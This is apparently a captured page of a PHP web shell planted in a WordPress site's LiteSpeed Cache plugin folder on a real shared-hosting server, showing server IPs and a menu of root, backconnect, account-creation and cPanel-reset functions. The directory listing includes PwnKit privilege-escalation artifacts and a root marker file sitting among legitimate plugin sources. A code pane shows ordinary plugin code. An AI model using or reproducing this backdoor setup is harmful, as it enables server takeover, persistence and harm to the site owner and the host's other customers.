Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.189.188.8
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
litespeed-cache /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cdn
[ DIR ]
drwxr-xr-x
data_structure
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
activation.cls.php
14.99
KB
-rw-r--r--
admin-display.cls.php
33.2
KB
-rw-r--r--
admin-settings.cls.php
9.52
KB
-rw-r--r--
admin.cls.php
4.44
KB
-rw-r--r--
api.cls.php
11.08
KB
-rw-r--r--
avatar.cls.php
6.06
KB
-rw-r--r--
base.cls.php
30.23
KB
-rw-r--r--
cdn-setup.cls.php
10.45
KB
-rw-r--r--
cdn.cls.php
13.13
KB
-rw-r--r--
cloud.cls.php
42.48
KB
-rw-r--r--
conf.cls.php
18.58
KB
-rw-r--r--
control.cls.php
21.75
KB
-rw-r--r--
core.cls.php
20.05
KB
-rw-r--r--
crawler-map.cls.php
14
KB
-rw-r--r--
crawler.cls.php
34.69
KB
-rw-r--r--
css.cls.php
13.1
KB
-rw-r--r--
data.cls.php
17.41
KB
-rw-r--r--
data.upgrade.func.php
21.37
KB
-rw-r--r--
db-optm.cls.php
9.58
KB
-rw-r--r--
debug2.cls.php
13.1
KB
-rw-r--r--
doc.cls.php
4.74
KB
-rw-r--r--
error.cls.php
6.91
KB
-rw-r--r--
esi.cls.php
26.91
KB
-rw-r--r--
file.cls.php
10.13
KB
-rw-r--r--
gui.cls.php
27.45
KB
-rw-r--r--
health.cls.php
2.89
KB
-rw-r--r--
htaccess.cls.php
23.95
KB
-rw-r--r--
img-optm.cls.php
60.24
KB
-rw-r--r--
import.cls.php
4.15
KB
-rw-r--r--
instance.cls.php
154
B
-rw-r--r--
lang.cls.php
15.47
KB
-rw-r--r--
localization.cls.php
3.38
KB
-rw-r--r--
media.cls.php
31.03
KB
-rw-r--r--
metabox.cls.php
4.21
KB
-rw-r--r--
object-cache.cls.php
15.92
KB
-rw-r--r--
object.lib.php
33.97
KB
-rw-r--r--
optimize.cls.php
36.53
KB
-rw-r--r--
optimizer.cls.php
9.02
KB
-rw-r--r--
placeholder.cls.php
14.12
KB
-rw-r--r--
preset.cls.php
5.43
KB
-rw-r--r--
purge.cls.php
29.79
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
report.cls.php
5.33
KB
-rw-r--r--
rest.cls.php
7.87
KB
-rw-r--r--
root.cls.php
12.6
KB
-rw-r--r--
router.cls.php
19.08
KB
-rw-r--r--
str.cls.php
1.17
KB
-rw-r--r--
tag.cls.php
8.62
KB
-rw-r--r--
task.cls.php
5.83
KB
-rw-r--r--
tool.cls.php
3.29
KB
-rw-r--r--
ucss.cls.php
14.39
KB
-rw-r--r--
utility.cls.php
20.63
KB
-rw-r--r--
vary.cls.php
19.17
KB
-rw-r--r--
vpi.cls.php
7.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : localization.cls.php
<?php /** * The localization class. * * @since 3.3 */ namespace LiteSpeed; defined('WPINC') || exit(); class Localization extends Base { const LOG_TAG = '🛍️'; /** * Init optimizer * * @since 3.0 * @access protected */ public function init() { add_filter('litespeed_buffer_finalize', array($this, 'finalize'), 23); // After page optm } /** * Localize Resources * * @since 3.3 */ public function serve_static($uri) { $url = base64_decode($uri); if (!$this->conf(self::O_OPTM_LOCALIZE)) { // wp_redirect( $url ); exit('Not supported'); } if (substr($url, -3) !== '.js') { // wp_redirect( $url ); // exit( 'Not supported ' . $uri ); } $match = false; $domains = $this->conf(self::O_OPTM_LOCALIZE_DOMAINS); foreach ($domains as $v) { if (!$v || strpos($v, '#') === 0) { continue; } $type = 'js'; $domain = $v; // Try to parse space split value if (strpos($v, ' ')) { $v = explode(' ', $v); if (!empty($v[1])) { $type = strtolower($v[0]); $domain = $v[1]; } } if (strpos($domain, 'https://') !== 0) { continue; } if ($type != 'js') { continue; } // if ( strpos( $url, $domain ) !== 0 ) { if ($url != $domain) { continue; } $match = true; break; } if (!$match) { // wp_redirect( $url ); exit('Not supported2'); } header('Content-Type: application/javascript'); // Generate $this->_maybe_mk_cache_folder('localres'); $file = $this->_realpath($url); self::debug('localize [url] ' . $url); $response = wp_remote_get($url, array('timeout' => 180, 'stream' => true, 'filename' => $file)); // Parse response data if (is_wp_error($response)) { $error_message = $response->get_error_message(); file_exists($file) && unlink($file); self::debug('failed to get: ' . $error_message); wp_redirect($url); exit(); } $url = $this->_rewrite($url); wp_redirect($url); exit(); } /** * Get the final URL of local avatar * * @since 4.5 */ private function _rewrite($url) { return LITESPEED_STATIC_URL . '/localres/' . $this->_filepath($url); } /** * Generate realpath of the cache file * * @since 4.5 * @access private */ private function _realpath($url) { return LITESPEED_STATIC_DIR . '/localres/' . $this->_filepath($url); } /** * Get filepath * * @since 4.5 */ private function _filepath($url) { $filename = md5($url) . '.js'; if (is_multisite()) { $filename = get_current_blog_id() . '/' . $filename; } return $filename; } /** * Localize JS/Fonts * * @since 3.3 * @access public */ public function finalize($content) { if (is_admin()) { return $content; } if (!$this->conf(self::O_OPTM_LOCALIZE)) { return $content; } $domains = $this->conf(self::O_OPTM_LOCALIZE_DOMAINS); if (!$domains) { return $content; } foreach ($domains as $v) { if (!$v || strpos($v, '#') === 0) { continue; } $type = 'js'; $domain = $v; // Try to parse space split value if (strpos($v, ' ')) { $v = explode(' ', $v); if (!empty($v[1])) { $type = strtolower($v[0]); $domain = $v[1]; } } if (strpos($domain, 'https://') !== 0) { continue; } if ($type != 'js') { continue; } $content = str_replace($domain, LITESPEED_STATIC_URL . '/localres/' . base64_encode($domain), $content); } return $content; } }
Close